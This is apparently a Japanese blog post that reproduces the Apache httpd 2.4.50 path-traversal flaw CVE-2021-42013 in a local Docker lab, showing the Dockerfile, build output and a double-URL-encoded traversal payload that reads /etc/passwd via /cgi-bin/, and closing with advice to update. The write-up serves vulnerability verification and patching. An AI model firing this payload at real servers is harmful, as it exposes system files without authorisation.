さて、つい二日前に以下の投稿を行いましたが、修正が不十分だったようです。
Dockerを使ってCVE-2021-41773を検証する
・わずか3日、「Apache HTTPD」が再修正 – 前回修正は不十分、RCEのおそれも
同じく前回使用したDockerの環境を使いまわして検証を行いますので、興味がある方は見ていってください。
なお、この記事については悪用を促すわけではないので、ご理解ください。
検証の準備
前回作成したDockerが動作する環境があるので、これを使用してサクッと構築します。
Dockerの環境構築から確認したい方は前回の記事を確認してください。
まずはDockerfileを書き換えます。
以下のようにしました。
FROM httpd:2.4.50 COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
httpdのバージョンを一つ上げただけです。
あとはビルドしてランさせるだけです。
めっちゃ簡単です!
root@ubuntu:/home/tokoroten# docker build -t apache-vuln . //ビルドの箇所 Sending build context to Docker daemon 9.163MB Step 1/2 : FROM httpd:2.4.50 2.4.50: Pulling from library/httpd 07aded7c29c6: Already exists 05bb40c8f148: Already exists 0827b74117da: Already exists 6fdb4ffeaccd: Pull complete 91182adb0e79: Pull complete Digest: sha256:b73a8591d3f1f170568b501ce645dc900f8f1c4c697fbc2420cae3502ab5e02c Status: Downloaded newer image for httpd:2.4.50 ---> bc9d3c5a7455 Step 2/2 : COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf ---> 174cf4b45c3c Successfully built 174cf4b45c3c Successfully tagged apache-vuln:latest root@ubuntu:/home/tokoroten# docker run -dit --name cve-2021-41773 -p 12345:80 apache-vuln //ランの箇所 2f18aa5700a87bc6d7517e36873efdd75dd5d55e2b1e15e42a3dfa1adc825368
前回と同じようにポート12345に立てました!
アクセスすると、Apacheのバージョンが「2.4.50」になってることが確認できますね。
CVE-2021-42013の検証
PoCについては、Twitterでサクッとありましたので、それを使います。
以下のようなコードで実行可能とのことです。
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
前回と同じように「okukenさん」が作成したburpの「ISTE」を使ってやってみましょう!
この通り、簡単にできました!
最後に
修正が不十分だった「CVE-2021-42013」について検証を行いました。
こちらはcigモジュールが有効であった場合はコマンド実行が可能な問題です。
※前回の「CVE-2021-41773」もです。
もし、httpdの「2.4.49」または「2.4.50」を使用している場合は至急アップデートしましょう。
しかし、Docker便利ですな。数秒で環境の入れ替えできるし。
実は違う記事を書きたかったんですが、それについては近くに書かせていただきます。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント